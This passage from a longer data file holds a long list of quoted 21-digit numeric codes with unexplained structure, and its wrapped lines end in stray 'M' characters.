132043099111072000", "091158005099116079000", "091158036102112079000", "091132048102110080000", "091140044000116085000", "091158043098000058000", "091140028099114066000", "091165022098105072000", "091184039098115061000", "091124038000114075000", "091164001098113000000", "091124013000112052000", "091124031000108061000", "091184044000105052000", "091141015000108058000", "091175043000112067000", "091175038000114078000", "091165037000113066000", "091132024000112065000", "091154049000105062000", "091124049000116072000",M
 "091141003000111077000", "091175029000112000000", "091165033000116053000", "091124028000116067000", "091140009000000067000", "091132034000116060000", "091175015000115072000", "091154023000112051000", "091142014000114085000", "091142009000105061000", "091132039000110087000", "091184029000106000000", "091140034000108052000", "091121039000116070000", "091158041000106052000", "091141005000000067000", "091124023000105067000", "091132049000106067000", "091140031000114076000", "091165022000000051000", "091175014000107052M
000", "091140032000112062000", "091158002000107085000", "091142044000107067000", "091184001000116074000", "091132042000108070000", "091166001000113074000", "091141004000112072000", "091164028000112056000", "091154025000110065000", "091124015000112063000", "091175042000000070000", "091124003000114060000", "091140006000110075000", "091142024000108070000", "091124041000110051000", "091140041000111056000", "091132041000112071000", "091158028000107056000", "091142041000116055000", "091158046000112056000", "0911210180001M
13067000", "091132029000105000000", "091121005000109053000", "091121027000106063000", "091165013000114071000", "091165029000110000000", "091165015000109056000", "091154002000112052000", "091164031000116072000", "091164036000000070000", "091175040000116051000", "091165038000000061000", "091175040000000067000", "091184014000115000000", "091184025000112080000", "091154042000111087000", "091175038000107086000", "091158044000109065000", "091132042000113071000", "091124042000000053000", "091121028000116079000", "09116403M
7000113065000", "091141018000114086000", "091184046000107065000", "091164036000110000000", "091165010000105067000", "091124005000112074000", "091142002000110071000", "091184031000000061000", "091158013000108077000", "091154024000106061000", "091124048000114087000", "091175031000114062000", "091132022000112067000", "091158048000117053000", "091165048000106061000", "091121013000106000000", "091165006000107000000", "091175014000117079000", "091166028000115058000", "091142009000000058000", "091184014000105077000", "091M
158040000117063000", "091175042000105062000", "091121040000111052000", "091121024000107079000", "091141004000108000000", "091175046000110087000", "091184049000117063000", "091121033000110055000", "091154038000105059000", "091166042000112083000", "091141023000114051000", "091175006000107000000", "091140046000113059000", "091121003000114070000", "091132003000109065000", "091165022000106000000", "091154009000107051000", "091124006000105070000", "091132028000110077000", "091184036000107077000", "091164012000114051000",M
 "091132048000115070000", "091164003000111071000", "091184012000112087000", "091132008000113053000", "091140039000109079000", "091141004000109080000", "091164027000116076000", "091165042000117079000", "091164048000106065000", "091166018000111067000", "091158035000105072000", "091166008000105083000", "091175032000109052000", "091166010000000062000", "091164032000115071000", "091142044000111076000", "091164042000110080000", "091166005000111067000", "091124018000111055000", "091142048000105056000", "091142033000114079M
000", "091158002000105052000", "091165041000105052000", "091184028000112062000", "091141015000111077000", "091175004000111072000", "091132049000109079000", "091121012000109080000", "091158031000108051000", "091141001000115051000", "091166048000113071000", "091164018000110053000", "091140036000113051000", "091154041000112083000", "091158018000114071000", "091141023000111071000", "091121042000111055000", "091184025000000065000", "091175040000000079000", "091154001000116080000", "091175034000106086000", "0911320040001M
07000000", "091124034000117063000", "091141005000000083000", "091164002000110071000", "091132003000115053000", "091164013000114086000", "091175004000117000000", "091165005000117051000", "091175040000110065000", "091166044000105052000", "091124018000116060000", "091158024000114051000", "091141049000106070000", "091124024000108063000", "091165027000107086000", "091121024000117072000", "091121015000117087000", "091165003000108077000", "091164023000000080000", "091132033000000087000", "091121010000107065000", "09112400M
3000108070000", "091165032000111086000", "091140044000105083000", "091140001000000055000", "091142049000108070000", "091165037000113058000", "091141048000105080000", "091154030000116065000", "091184012000116051000", "091121041000105053000", "091140034000108072000", "091132001000107072000", "091166005000106056000", "091142036000114056000", "091166001000000067000", "091124006000109056000", "091164030000111000000", "091175014000117067000", "091121038000115061000", "091154015000110060000", "091154025000114051000", "091M
141031000114052000", "091140036000106063000", "091124042000000067000", "091154013000108070000", "091184037000114053000", "091166035000105051000", "091132003000111070000", "091132010000108079000", "091124036000109072000", "091158004000105000000", "091164008000000052000", "091142013000113052000", "091158013000115087000", "091142005000106051000", "091164048000108070000", "091175009000113053000", "091184003000117067000", "091158002000105051000", "091166039000111055000", "091158001000111079000", "091154044000112063000",M
 "091184008000114000000", "091154023000109071000", "091158040000109055000", "091140031000113061000", "091154039000109055000", "091132009000110060000", "091142024000113058000", "091165023000114072000", "091175027000000063000", "091141003000109056000", "091142037000112053000", "091165038000114087000", "091165006000105080000", "091124001000114072000", "091132034000000055000", "091175028000000000000", "091166042000000080000", "091154031000117067000", "091141041000109000000", "091164024000112086000", "091166024000117061M
000", "091165040000110075000", "091132036000107053000", "091142044000105077000", "091140048000106086000", "091124024000113051000", "091164030000111065000", "091166039000114060000", "091175042000106063000", "091166023000116067000", "091141040000105086000", "091142008000106075000", "091141033000116065000", "091158038000105086000", "091121002000114062000", "091140012000110067000", "091166049000000061000", "091140031000113071000", "091166008000113077000", "091121027000107086000", "091154042000115052000", "0911540130001M
13000000", "091121027000116000000", "091132041000117067000", "091165033000113058000", "091184037000116083000", "091184049000116087000", "091175001000116077000", "091164015000111000000", "091164008000000061000", "091154048000000061000", "091142039000114087000", "091142012000117062000", "091165024000107075000", "091142014000112075000", "091141046000117071000", "091175034000112086000", "091165031000106083000", "091121013000114071000", "091175036000117077000", "091132035000115071000", "091142037000116070000", "09112101M
3000107055000", "091154022000106062000", "091158009000114052000", "091124015000116083000", "091166014000114000000", "091142035000114086000", "091121001000116063000", "091121044000111075000", "091124009000116055000", "091154041000117000000", "091124032000108077000", "091140013000116070000", "091166022000116063000", "091124027000110075000", "091158018000115063000", "091166024000112075000", "091164010000105083000", "091175024000115061000", "091158033000114000000", "091124034000116060000", "091166013000111063000", "091M
132006000108065000", "091175014000000086000", "091175013000116056000", "091141023000113053000", "091124037000113051000", "091132009000114071000", "091184018000106055000", "091166048000112075000", "091132012000106083000", "091158048000116062000", "091132048000106067000", "091121028000117079000", "091158028000107079000", "091140033000109056000", "091121018000000070000", "091121027000111051000", "091142036000107075000", "091165048000117063000", "091154008000109056000", "091158023000105075000", "091175014000112062000",M
 "091165048000111060000", "091142025000109052000", "091154033000114053000", "091132028000113079000", "091164042000109087000", "091121042000113051000", "091164028000115080000", "091184049000112063000", "091132004000112056000", "091175010000107053000", "091132002000109053000", "091124034000105087000", "091164037000109056000", "091124005000109072000", "091124031000112087000", "091166003000113051000", "091165006000105061000", "091124012000117087000", "091142015000115056000", "091142044000115052000", "091175005000115086M
000", "091141035000107079000", "091140010000108053000", "091141036000109071000", "091184049000112051000", "091124034000105072000", "091121049000105077000", "091154037000117055000", "091140015000105053000", "091175004000105087000", "091141044000109061000", "091175008000106053000", "091166010000107071000", "091142039000106060000", "091164006000107061000", "091121036000108079000", "091175013000109063000", "091140034000115079000", "091154044000107062000", "091184008000108070000", "091124035000113063000", "0911420020000M
00083000", "091175018000107071000", "091165025000117053000", "091184037000116000000", "091140035000117087000", "091121015000113055000", "091132003000111056000", "091164006000113055000", "091121012000106071000", "091154008000105077000", "091121035000111055000", "091158038000114060000", "091124039000113062000", "091132046000105087000", "091142025000105056000", "091184022000106055000", "091164010000108061000", "091164025000112071000", "091184010000000058000", "091154033000116070000", "091132018000115067000", "09117504M
8000114083000", "091165004000107087000", "091164024000116075000", "091124036000000067000", "091184039000115000000", "091154024000108051000", "091140003000115055000", "091175044000111060000", "091175028000000061000", "091154030000112062000", "091140015000112051000", "091165004000109072000", "091141048000111070000", "091141044000114056000", "091164005000116072000", "091124031000112000000", "091175024000106053000", "091142008000106000000", "091184041000114063000", "091164039000113052000", "091121008000105062000", "091M
164032000112072000", "091175030000111075000", "091184008000115065000", "091132015000111086000", "091154028000114086000", "091165033000112000000", "091158032000000067000", "091124005000000070000", "091165005000107071000", "091142013000114077000", "091175031000112052000", "091164006000116087000", "091154023000105052000", "091154018000115083000", "091164038000112087000", "091164039000105065000", "091175009000115067000", "091175028000114061000", "091124046000117072000", "091165038000107071000", "091141023000000058000",M
 "091142003000108075000", "091166036000112000000", "091175008000108086000", "091140038000108053000", "091142037000000065000", "091141010000105077000", "091140039000106051000", "091140037000107070000", "091158018000111071000", "091184010000107052000", "091184013000114087000", "091141027000106065000", "091184044000105000000", "091164037000117062000", "091154012000114071000", "091154037000111000000", "091154034000108061000", "091140035000106086000", "091165002000000087000", "091142018000115083000", "091184027000117067M
000", "091154024000114000000", "091141014000108071000", "091132005000106070000", "091124023000115052000", "091175022000108075000", "091121036000000075000", "091140027000115075000", "091132009000116080000", "091166049000115072000", "091132008000000000000", "091141031000106061000", "091124037000113063000", "091124012000112053000", "091164036000114067000", "091124041000000067000", "091140003000114072000", "091166006000105087000", "091142018000111077000", "091165031000113052000", "091184012000111071000", "0911540370000M
00055000", "091132014000106063000", "091175035000106067000", "091184048000108061000", "091184024000116000000", "091184013000108086000", "091164010000105052000", "091164033000113072000", "091154041000113071000", "091121033000105051000", "091142004000111087000", "091154039000117079000", "091140036000116065000", "091121042000000086000", "091142046000114061000", "091165028000105077000", "091142004000111083000", "091140048000116051000", "091184018000105051000", "091154035000105080000", "091158036000117051000", "09118400M
8000112065000", "091166039000116086000", "091121015000108079000", "091166006000113051000", "091166025000115065000", "091121028000115052000", "091142041000113063000", "091141008000111087000", "091140034000106087000", "091140024000113079000", "091164036000116083000", "091154034000117072000", "091142027000115053000", "091175003000114055000", "091158025000105052000", "091158010000115067000", "091165013000112055000", "091166015000105065000", "091121009000115067000", "091124024000106083000", "091184003000112083000", "091M
140028000105070000", "091165039000106083000", "091132034000000072000", "091164030000116065000", "091166039000115087000", "091142046000108077000", "091175022000112072000", "091166003000106065000", "091121031000115053000", "091184004000000063000", "091165005000116072000", "091154015000108070000", "091175049000116080000", "091175012000114077000", "091158025000114051000", "091166004000116051000", "091132013000116063000", "091140025000108070000", "091140022000113086000", "091124039000113051000", "091164036000000080000",M
 "091121034000111062000", "091121024000105067000", "091121025000106065000", "091142018000115051000", "091140033000111055000", "091124046000111080000", "091184006000111065000", "091166032000113080000", "091184015000106062000", "091140027000114053000", "091140003000106079000", "091124030000114067000", "091142031000113086000", "091154005000113070000", "091175028000111053000", "091175022000111065000", "091140039000114000000", "091165003000116072000", "091166048000112080000", "091141046000108079000", "091184046000111000M
000", "091165012000108086000", "091124037000108070000", "091166027000000000000", "091132008000111077000", "091184008000112055000", "091124018000117086000", "091154003000117070000", "091175025000112083000", "091184039000113072000", "091158010000105086000", "091164037000108000000", "091132036000111083000", "091166018000000070000", "091141015000116053000", "091132036000115062000", "091158006000117077000", "091184006000112083000", "091142008000112051000", "091165031000112063000", "091121032000112055000", "0911650180000M
00063000", "091175015000114080000", "091175044000115062000", "091132028000117051000", "091142039000116000000", "091165010000112080000", "091165005000116079000", "091175028000117000000", "091132046000112079000", "091124004000113053000", "091140015000114053000", "091175013000112080000", "091175028000113077000", "091154024000105083000", "091154015000111080000", "091141013000105070000", "091165034000115079000", "091154023000116079000", "091164025000117079000", "091154022000117062000", "091141027000117000000", "09114003M
5000108055000", "091184025000105070000", "091165005000111055000", "091142024000108062000", "091124037000105062000", "091154006000106080000", "091140003000108055000", "091124027000114062000", "091132018000106000000", "091166049000105083000", "091141023000112055000", "091142013000000079000", "091184012000113077000", "091132048000000077000", "091132044000106072000", "091124025000111055000", "091154012000113070000", "091141037000112083000", "091165006000116051000", "091164008000114055000", "091166032000000055000", "091M
141015000114080000", "091165049000117063000", "091165039000108063000", "091140041000000080000", "091175035000105051000", "091166003000116000000", "091121024000113062000", "091124004000111063000", "091164039000117070000", "091141028000113077000", "091132009000113055000", "091154024000111080000", "091124025000106080000", "091142034000112070000", "091141036000108072000", "091154004000111083000", "091184039000105070000", "091165041000106055000", "091164046000114055000", "091132035000000077000", "091121022000112055000",M
 "091164024000117077000", "091175036000106072000", "091154004000106083000", "091165027000106079000", "091141037000106055000", "091142023000111053000", "091141012000106070000", "091165012000108000000", "091124006000000086000", "091175049000112070000", "091124009000117077000", "091158012000116070000", "091141048000114077000", "091142044000000083000", "091164023000112055000", "091121022000108080000", "091164018000113077000", "091175009000000053000", "091166031000105053000", "091166024000108062000", "091124041000105080M
000", "091175027000000062000", "091121028000105077000", "091140046000111062000", "091142012000112077000", "091154015000000000000", "091165008000105000000", "091158025000000080000", "091154034000105079000", "091132037000111055000", "091154028000108055000", "091140031000105086000", "091166035000117083000", "091121015000116063000", "091142027000105062000", "091141008000105086000", "091140009000113000000", "091132039000116080000", "091165010000105053000", "091166041000106063000", "091164041000117063000", "0911420120001M
16063000", "091175031000111062000", "091184024000114062000", "091154023000112080000", "091184006000113080000", "091142032000116063000", "091165034000112083000", "091132031000105079000", "091142046000114079000", "091166034000112063000", "091121006000108063000", "091132004000116000000", "091132010000114000000", "091154012000113055000", "091158024000114086000", "091124009000114079000", "091141009000108000000", "091140031000114080000", "091154044000112080000", "091165023000108062000", "091121015000114079000", "09118401M
8000105083000", "091142004000112062000", "091154034000000055000", "091140037000111080000", "091184013000112062000", "091166003000108080000", "091140022000108000000", "091141049000106055000", "091154036000114000000", "091142028000105080000", "091154010000112083000", "091166018000116055000", "091142037000108062000", "091154049000111055000", "091158031000108079000", "091132025000000080000", "091164044000114079000", "091158022000114055000", "091142027000000080000", "091121049000111079000", "091166010000106055000", "091M
132032000108079000", "091184025000106000000", "091154005000113055000", "091141012000113062000", "091121039000108062000", "091121031000112080000", "091141023000112086000", "091184022000108079000", "091141037000000080000", "091175033000000080000", "091121013000105000000", "091164033000108080000", "091141009000114079000", "091184049000106000000", "091142003000111000000", "091140022000113000000", "091184012000117000000", "091166009000106000000", "091158006000113062000", "091141031000117079000", "091141018000106062000",M
 "091164031000111062000", "091132044000113000000", "091175012000108062000", "091184044000111000000", "091166015000116000000", "091158018000106079000", "091132032000105062000", "091166037000108079000", "091175041000113000000", "091165015000106079000", "091140012000116000000", "091154004000117062000", "091154044000105079000", "091140015000106000000", "091142008000116000000", "091124022000105062000", "091132027000114062000", "091158035000116062000", "091158041000117000000", "091132004000111000000", "091158034000113000M
000", "091164022000116079000", "091121027000116079000", "091142003000116000000", "091164032000117000000", "091154025000000000000", "091142048000116000000", "091166004000113000000", "091165005000105000000", "091164036000106000000", "091132031000113000000", "091124018000116000000", "091165013000116000000", "091132048000106000000", "091132025000000000000", "091140032000113000000", "091165015000114000000", "091166015000117000000", "091175035000111000000", "091124048000114000000", "091140036000117000000", "0911410130001M
11000000", "091142036000000000000", "091124003000111000000", "091132049000105000000", "091165041000114000000", "091164036000116000000", "091121049000000000000", "091141033000106000000", "091165046000113000000", "091165031000106000000", "091141032000116000000", "091166010000106000000", "091121006000106000000", "091154041000000000000", "091141005000106000000", "091121015000106000000", "091184015000116000000", "091142028000116000000", "091140018000114000000", "091140023000114000000", "091158018000116000000", "09115402M
5000114000000", "091165034000106000000", "091124033000105000000", "091165008000117000000", "091124022000114000000", "091154015000117000000", "091164041000105000000", "091166027000114000000", "091164036000105000000", "091175022000117000000", "091158033000113000000", "091165025000114000000", "091166033000116000000", "091158005000117000000", "091124033000117000000", "091175031000111000000", "091166023000000000000", "091142044000000000000", "091184022000114000000", "091132037000113000000", "091164048000116000000", "091M
164044000113000000", "091141005000116000000", "091164033000116000000", "091141033000117000000", "091158035000114000000", "091166037000113000000", "091132028000111000000", "091142044000114000000", "091140025000111000000", "091124032000116000000", "091154046000114000000", "091140024000111000000", "091164046000111000000", "091132018000116000000", "091140044000116000000", "091158036000117000000", "091141044000117000000", "091184003000000000000", "091166005000106000000", "091140010000106000000", "091141005000000000000",M
 "091184013000111000000", "091121013000114000000", "091140004000000000000", "091175035000114000000", "091184018000116000000", "091164035000113000000", "091164003000114000000", "091175010000116000000", "091140041000114000000", "091158037000106000000", "091132018000117000000", "091165010000111000000", "091184006000114000000", "091184023000106000000", "091121006000114000000", "091175036000111000000", "091184005000117000000", "091140041000000000000", "091142005000000000000", "091166048000000000000", "091142018000117000M
000", "091140031000000000000", "091121034000111000000", "091132013000117000000", "091158025000106000000", "091142005000113000000", "091140032000114000000", "091164025000116000000", "091164034000116000000", "091184018000117000000", "091121049000117000000", "091140034000113000000", "091124031000000000000", "091141003000113000000", "091184027000116000000", "091121046000113000000", "091166037000000000000", "091158033000111000000", "091124035000113000000", "091166010000117000000", "091184025000116000000", "0911240310980M
00061000", "091142005000117000000", "091175018000116000000", "091124032101115051000", "091140044000111000000", "091175023000106000000", "091184046000113000000", "091164034000114000000", "091166033000114000000", "091175022000114000000", "091164048000113000000", "091142044000117000000", "091158037000116000000", "091121031000114000000", "091140024102116087000", "091165033000113000000", "091132044000000000000", "091141025000116000000", "091140033000114000000", "091142048000106000000", "091164003000111000000", "09114002M
3000117000000", "091165044000113000000", "091184036000116000000", "091141035000117000000", "091132004000114000000", "091132024000117000000", "091141022000111000000", "091142046000113000000", "091165034000000000000", "091165010000000000000", "091165044000116000000", "091166048000114000000", "091175028000114000000", "091158013000116000000", "091175041000111000000", "091166013000116000000", "091158035000111000000", "091158023000114000000", "091166033000117000000", "091184041000116000000", "091175018000114000000", "091M
121027000000000000", "091158018102114064000", "091124048000000000000", "091184024000000000000", "091166006000111000000", "091166024000116000000", "091132046000000000000", "091140003000111000000", "091141033000114000000", "091166027000105080000", "091140018100115051000", "091158048000116000000", "091132003000000000000", "091121003000114000000", "091166046000116000000", "091164013000000000000", "091121031000000000000", "091140018000117000000", "091184046000000000000", "091140025096000000000", "091175024000000000000",M
 "091142046000114000000", "091164005000111000000", "091124010000116000000", "091164018000114000000", "091175049000114000000", "091175046000111000000", "091124010000000000000", "091124004000111000000", "091124034000114000000", "091141031000114000000", "091164013000117000000", "091124031000117000000", "091132028000000000000", "091184013000000000000", "091175036000114000000", "091166010000111000000", "091124006000116000000", "091124013000111000000", "091175003000117000000", "091165049000116000000", "091165024000116000M
000", "091164006000114000000", "091142033000114000000", "091166003095107067000", "091132006000114000000", "091132018098106067000", "091158031000114000000", "091121006000111000000", "091184025000000000000", "091175046000116000000", "091142018000116000000", "091141013000117000000", "091158018000111000000", "091175013000116000000", "091175036103112087000", "091158041000111000000", "091142035000114000000", "091175049000116000000", "091175010000000000000", "091164036101111069000", "091158034000000000000", "0911660230001M
11000000", "091140036000116000000", "091184023000114000000", "091158044000117000000", "091140023095107061000", "091175005000116000000", "091140018096107053000", "091142048000000000000", "091165049000000054000", "091164004000111000000", "091166024000111000000", "091140031000114000000", "091175003096109071000", "091140005000111000000", "091175035097117079000", "091166034000117000000", "091164037000114000000", "091164010000116000000", "091164013000114000000", "091140028000116000000", "091158024000000000000", "09116502M
8000117000000", "091184033000000000000", "091164006000000000000", "091165046000114000000", "091142046000116000000", "091132035000111000000", "091175049000117000000", "091166025000111000000", "091132031000114000000", "091132024103113085000", "091175041000000000000", "091158003000111000000", "091141028000116000000", "091121035000114000000", "091142027000114000000", "091140031101113087000", "091164037000117000000", "091164018000111000000", "091164004000000000000", "091165024000117000000", "091158006000000000000", "091M
166036000114000000", "091165003000117000000", "091132044000111000000", "091165018000116000000", "091165031000117000000", "091165025000105079000", "091140049000117000000", "091165031000000000000", "091175025000000000000", "091166035000114000000", "091164018000116000000", "091121031000117000000", "091175034000000000000", "091142025000117000000", "091140031098108058000", "091166027000116000000", "091166004000114000000", "091141003000116000000", "091175034000111000000", "091165031000116000000", "091121003099111074000",M
 "091166044000116000000", "091158041096105078000", "091166036000117000000", "091121028000114000000", "091121046000111000000", "091165003000114000000", "091121006000000000000", "091141044000114000000", "091140003000114000000", "091165031100115072000", "091132037000116000000", "091132013000111000000", "091166041000111000000", "091142031000117000000", "091142037000116000000", "091132004100117085000", "091140004000111000000", "091132013000114000000", "091141046000117000000", "091140004000117000000", "091166025000000000M
000", "091132041000114000000", "091140023103105084000", "091132024096114056000", "091140018000111000000", "091166034000114000000", "091166046000117000000", "091141035000111000000", "091158024000111000000", "091166028000116000000", "091142005000111000000", "091166037000116000000", "091142018000111000000", "091132023000117000000", "091166027000117000000", "091132028000116000000", "091132003000116000000", "091166006000114000000", "091141049000111000000", "091141005097106071000", "091140048000111000000", "0911660350981M
12064000", "091140005000000000000", "091165049000000000000", "091121006000117000000", "091165049000111000000", "091166025000117000000", "091141036000111000000", "091141031000116000000", "091140003000116000000", "091158006000114000000", "091166036100109081000", "091141034000114000000", "091142003000117000000", "091132035000114000000", "091166005000111000000", "091141031000111000000", "091132031000116000000", "091166004000117000000", "091140037000114000000", "091132037000117000000", "091141003000111000000", "09113202M
4000116000000", "091157025000000057000", "091158041104117058000", "091142003000000000000", "091141037000000000000", "091142013000117000000", "091142048000111000000", "091158046000117000000", "091166048000116000000", "091158046000116000000", "091142006000116000000", "091140003098114085000", "091141034000116000000", "091121037000000000000", "091158004000116000000", "091142034000111000000", "091140034000116000000", "091158006095110073000", "091152037000000057000", "091142003098115084000", "091165006000111000000", "091M
158034000117000000", "091166003000111000000", "091140044095105079000", "091121004000117000000", "091132006000111000000", "091158048000111000000", "091142034000000000000", "091158027000117000000", "091166004000000000000", "091165003000111000000", "091165003099000070000", "091132034000111000000", "091121013000117000000", "091132013000000000000", "091140034000117000000", "091158037000111000000", "091121041000000000000", "091132006000000000000", "091121037000117000000", "091165004000111000000", "091166003104107066000",M
 "091166003000000000000", "091166024000117000000", "091140031099111075000", "091141018000117000000", "091121031104000080000", "091165025000000000000", "091165013000111000000", "091166041000000000000", "091165004096107085000", "091142018103115000000", "091140025000117000000", "091158013000117000000", "091142027000117000000", "091158018000117000000", "091166031000117000000", "091142041000000000000", "091121041100115061000", "091158023000117000000", "091140018098113062000", "091121006098114052000", "091142034104111071M
000", "091141031000117000000", "091140003000117000000", "091121027104116053000", "091166031000111000000", "091158027000000000000", "091165024000111000000", "091158018000000000000", "091142025000111000000", "091142044101105058000", "091165048000117000000", "091140013000117000000", "091141003000117000000", "091140034000111000000", "091140018000000000000", "091142023000000000000", "091166048000111000000", "091158018096112064000", "091142023097109067000", "091166034000000000000", "091121023000111000000", "0911410181021M
09062000", "091141025000000000000", "091158023000111000000", "091121044000000000000", "091166003104109056000", "091141037000117000000", "091141037100000083000", "091165044000117000000", "091140024000117000000", "091140025000000000000", "091166006000117000000", "091121003000000000000", "091121003000117000000", "091165044000000000000", "091142048095116000000", "091158027000111000000", "091142003101111070000", "091142023000111000000", "091141044000000000000", "091141024000111000000", "091165027000117000000", "09116501M
8000117000000", "091166013000111000000", "091141018000111000000", "091166041000110064000", "091141004000117000000", "091141003101112063000", "091121025000000000000", "091165003095000072000", "091140003000000000000", "091140006000117000000", "091165034000111000000", "091166048000117000000", "091166048103106081000", "091121006098108064000", "091166023098115066000", "091140048101114078000", "091140048095107079000", "091148004000000082000", "091165031095116077000", "091141048000000000000", "091141027000111000000", "091M
121006101114067000", "091141024000117000000", "091141044000111000000", "091158018096116066000", "091121048000111000000", "091165013000113063000", "091165044095110087000", "091142023000117000000", "091158031000117000000", "091142004000117000000", "091121037101112069000", "091152034000000057000", "091158013000000000000", "091166034000115070000", "091165003099116079000", "091142048000112069000", "091121041000111000000", "091121004000000000000", "091158003000000000000", "091142048096108087000", "091165025103115065000",M
 "091140027000000000000", "091158025000111000000", "091166037000111000000", "091141041000117000000", "091165037000111000000", "091142003102117063000", "091121031000000059000", "091121018000000000000", "091158004000111000000", "091121004000106061000", "091166025101113085000", "091140044000000000000", "091165013000117000000", "091121004097116070000", "091141024000000000000", "091142003102113072000", "091141031000000000000", "091166024101110053000", "091165034000117000000", "091165025000117000000", "091166034095108053M
000", "091158027102116069000", "091165023000117000000", "091142025101108071000", "091141003000000000000", "091121048000000000000", "091158041000000000000", "091166013000117000000", "091158024000117000000", "091141025000111052000", "091158018103107074000", "091121004000114061000", "091165023103114059000", "091121048097110080000", "091158031000000000000", "091166006000000000000", "091166037000108064000", "091140037000000000000", "091165034000115056000", "091158031102107084000", "091140025000000053000", "0911650340001M
11080000", "091141006000000000000", "091166025000111064000", "091165041000117000000", "091158044000000000000", "091148034000000057000", "091165023000000000000", "091166037000117000000", "091166044000000000000", "091142006000000000000", "091166023096110000000", "091158025000117000000", "091142013000000000000", "091166006103108061000", "091140025000107000000", "091158048000000000000", "091166023097109087000", "091142034099110068000", "091142034103117084000", "091166041099115052000", "091142041099108067000", "09115803M
7000000000000", "091166004099117075000", "091142031000000000000", "091165048000000000000", "091166037000117072000", "091165013000000000000", "091158027000105069000", "091140018000107055000", "091165024000000000000", "091140004000109075000", "091166041000108055000", "091165025000111071000", "091166041000108087000", "091166041000116065000", "091158023000000000000", "091140041000109000000", "091165044000107077000", "091157025000000082000", "091142034000116077000", "091142006000110062000", "091142006000109071000", "091M
142004000000000000", "091158031000110084000", "091158027000115074000", "091166025000000072000", "091158048000000052000", "091142025000000000000", "091140037000115058000", "091158044000106083000", "091142048000117061000", "091142037000000000000", "091142044000000071000", "091165034000115087000", "091166013000000000000", "091158041000106072000", "091165024000000072000", "091157023000000082000", "091158041000110066000", "091165048000112080000", "091165013000106066000", "091140048000000000000", "091142025000110061000",M
 "091158024000108055000", "091165018000000000000", "091140044000115077000", "091165044000105077000", "091140024000000000000", "091166034000110077000", "091140024000106000000", "091142034000110086000", "091165034000110074000", "091140013000000000000", "091140034000000000000", "091140013000113063000", "091158004000000000000", "091166018000000000000", "091166023000105052000", "091166027000000077000", "091166025000112078000", "091166018000000070000", "091142024000000000000", "091158024000117062000", "091165044000109086M
000", "091158004000116061000", "091166044000116080000", "091142037000110053000", "091166027000112053000", "091142048000105067000", "091140031000113066000", "091140034000106051000", "091142027000000000000", "091158034000105067000", "091142027000105062000", "091166018000112081000", "091166044000106077000", "091166037000108064000", "091140048000116056000", "091140004000111081000", "091166048000113052000", "091140037000000066000", "091158044000105077000", "091140041000113066000", "091140041000116000000", "0911580180001M
06055000", "091158024000000052000", "091166041000111063000", "091166013000109071000", "091166023000109073000", "091140031000113059000", "091158023000000073000", "091158013000111064000", "091158044000114079000", "091140025000116070000", "091166025000116061000", "091158044000112085000", "091166041000116084000", "091158031000116072000", "091158037000000054000", "091158037000117083000", "091166031000000000000", "091166006000105065000", "091148031000000054000", "091158018000117052000", "091166027000109063000", "09115801M
3000116084000", "091166018000114083000", "091158006000108064000", "091166034000117084000", "091166041000111063000", "091166048000117080000", "091158031000111074000", "091158048000111067000", "091166031000116078000", "091157027000000057000", "091166013000111059000", "091166034000117080000", "091166034000114067000", "091166034000113079000", "091166027000111080000", "091166027000108066000", "091158034000117081000", "091166023000111069000", "091166037000113056000", "091166018000117055000", "091166018000000053000", "091M
158034000116078000", "091166037000108072000", "091148031000000057000", "091166018000000084000", "091166013000114062000", "091166048000108066000", "091166031000000065000", "091166004000111000000", "091166018000114079000", "091166006000117087000", "091166048000111051000", "091157044000000082000", "091166006000111084000", "091166023000117087000", "091166013000114085000", "091166031000000071000", "091166006000117055000", "091166048000111081000", "091166013000117073000", "091166023000117083000", "091166013000114085000",M
 "091166027000114052000", "088179028096114051000", "088126020000117051094", "088155014103105079000", "088174042098111071000", "088174039100112084000", "088178018099117072000", "088145013100115087000", "088126004097112078000", "088182045097112066000", "088159042103111053000", "088173013098113075000", "088133015102112075094", "088182014095110080093", "088159033095115052000", "088168014099114076000", "088178043097116074000", "088159046102108087000", "088133026095106066094", "088145050104114055000", "088133006103112066M
000", "088179034098000078000", "088126012102111056093", "088148050000000082000", "088133035095110063000", "088133010098116081000", "088179014097113083000", "088173028104114065000", "088174013098107065000", "088178045095108077000", "088137042098114062000", "088182026095000063000", "088172031000000058000", "088137025095000066000", "088155010103108075000", "088174010096109081000", "088172041098114075000", "088179045101116071000", "088172036101108056000", "088159005097117056000", "088173034103117070000", "0881780410001M
09080000", "088159022096113055000", "088145046104106064000", "088145001099106084000", "088159025102112063000", "088182042096110061000", "088168044096000064000", "088133027096115067000", "088173042095117087094", "088178039098106065000", "088155023097117055000", "088179014100106084000", "088157005000000082000", "088182023102000072000", "088182008102110078000", "088172046102110081000", "088178017101113075093", "088173032000108071000", "088145046095107055000", "088159034097117056093", "088126043101105077000", "08816801M
3101113079000", "088179033095115070000", "088174032095112071000", "088173024095112086094", "088178025104113059000", "088172045095000059000", "088174049095109077000", "088172050000114080000", "088155039102107080000", "088159010102112064000", "088155025000107085000", "088137038096110087000", "088126015103116051000", "088133043103112061000", "088172043098116060000", "088155038101111000000", "088178029102112000000", "088155021098106077000", "088172046095105062000", "088148028000000082000", "088159031101114051000", "088M
137020101115073000", "088173041096117051000", "088126006102105080000", "088133036102108083000", "088155028102112058000", "088159020098000086000", "088126015096000051000", "088155017102115056000", "088133025095117065000", "088182018095000065000", "088174033000113069000", "088168028104117078000", "088148030000000057000", "088133041096113053000", "088179015103000086000", "088133038000107055000", "088174044098111071000", "088152023000000057000", "088159027099115063000", "088172041096000056000", "088174030102116065000",M
 "088148046000000082000", "088168039000112073000", "088173048099117078000", "088126009101112056000", "088159046102113075000", "088182029099117000000", "088179017101116070000", "088145034099000073000", "088182005000117086000", "088178025102106060094", "088126048098114085000", "088182004099105077000", "088133006000110075000", "088133039000116067000", "088152034000000057000", "088168028098106070000", "088159047000113055000", "088145027101111052000", "088168018099114051000", "088179021099108070000", "088126006098113069M
000", "088126040101115055000", "088145004104105055000", "088145009099112063000", "088179028099105070000", "088182028099117072000", "088173020098114067000", "088159030099107083000", "088133034104114062000", "088155040099117055000", "088126006099107071000", "088182011000109000000", "088182035099106055000", "088173033000111063000", "088155001000112077000", "088182048000109061000", "088159026000106085000", "088145046098111079000", "088168025000107062000", "088159040000109085000", "088133038000110083000", "0881780400001M
10079000", "088126036000116000000", "088174029000108000000", "088173025000105079000", "088159037000000052000", "088173030000106077000", "088133018000115086000", "088172008000107070000", "088155001000109062000", "088155035000105085000", "088168015000115000000", "088179011000114087000", "088152015000000057000", "088182033000111063000", "088173039000108062000", "088159022000116000094", "088145039000105085000", "088137025000117063000", "088133005000105070000", "088126008000114072000", "088137049000111076000", "08815501M
